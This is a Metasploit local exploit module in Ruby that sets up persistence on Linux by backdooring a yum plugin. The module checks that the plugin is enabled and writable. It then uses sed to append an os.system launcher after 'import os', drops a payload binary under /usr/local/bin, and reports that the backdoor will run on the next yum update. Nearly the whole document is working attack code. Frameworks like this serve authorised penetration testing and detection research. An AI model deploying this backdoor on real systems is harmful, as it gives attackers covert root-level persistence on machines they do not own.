Yum Package Manager Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::System
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/yum_package_manager_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Yum Package Manager Persistence',
        'Description' => %q{
          This module will run a payload when the package manager is used.
          This module modifies a yum plugin to launch a binary of choice.
          grep -F 'enabled=1' /etc/yum/pluginconf.d/
          will show what plugins are currently enabled on the system.
          root persmissions are likely required.
          Verified on Centos 7.1
        },
        'License' => MSF_LICENSE,
        'Author' => ['Aaron Ringo'],
        'Platform' => ['linux', 'unix'],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
        'References' => [
          ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
        ],
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
        OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
        OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),
        OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])
      ]
    )
  end

  def check
    return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
    return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']

    # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
    plugin = datastore['PLUGIN']
    full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
    return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
    return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
    return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
    return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'

    # /etc/yum.conf must contain plugins=1 for plugins to run at all
    plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
    return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'

    vprint_good('Plugins are enabled!')

    # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
    plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
    plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
    unless plugin_enabled.include? 'enabled=1'
      return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
    end

    # check that the plugin contains an import os, to backdoor
    import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
    unless import_os_check.include? 'import os'
      return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
    end

    CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
  end

  def install_persistence
    plugin = datastore['PLUGIN']
    full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"

    # plugins are made in python and generate pycs on successful execution
    print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"

    # check for write in backdoor path and set/generate backdoor name
    payload_path = datastore['WritableDir']
    payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
    payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
    payload_path << payload_name

    # check for sed binary and then append launcher to plugin underneath
    print_status('Attempting to modify plugin')
    launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
    sed_path = cmd_exec 'command -v sed'
    unless sed_path.include?('sed')
      fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
    end
    sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
    cmd_exec sed_line

    # actually write users payload to be executed then check for write
    if payload.arch.first == 'cmd'
      write_file(payload_path, payload.encoded)
    else
      write_file(payload_path, generate_payload_exe)
    end
    @clean_up_rc << "rm #{payload_path}\n"
    @clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
    unless exist? payload_path
      fail_with Failure::Unknown, "Failed to write #{payload_path}"
    end

    # change perms to reflect bins in /usr/local/bin/, give good feels
    chmod(payload_path, 0o755)
    print_status("Backdoor uploaded to #{payload_path}")
    print_good('Backdoor will run on next Yum update')
  end
end